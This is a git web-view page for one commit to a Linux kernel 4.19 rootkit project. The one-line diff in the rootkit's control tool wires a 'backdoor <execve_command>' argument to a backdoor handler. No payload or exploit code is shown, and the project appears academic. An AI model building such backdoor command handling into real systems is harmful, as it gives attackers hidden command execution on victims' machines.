linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 8759b61a361ffb16a8560e9fa47cf0be570e18c6
parent 57b6388d8cf52fbdff0ed1794603ef37ce96e48b
Author: deurzen <m.deurzen@tum.de>
Date:   Fri, 27 Nov 2020 11:50:40 +0100

implements backdoor execve handling

Diffstat:
Msrc/rkctl/rkctl.c | 2+-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -49,7 +49,7 @@ parse_input(int argc, char **argv) if (ARGVCMP(1, "backdoor")) { ASSERT_ARGC(2, "backdoor <execve_command>"); - // TODO: return backdoor handle + return (cmd_t){ handle_backdoor, (void *)argv[2] }; } if (ARGVCMP(1, "backdoor-use-tty")) {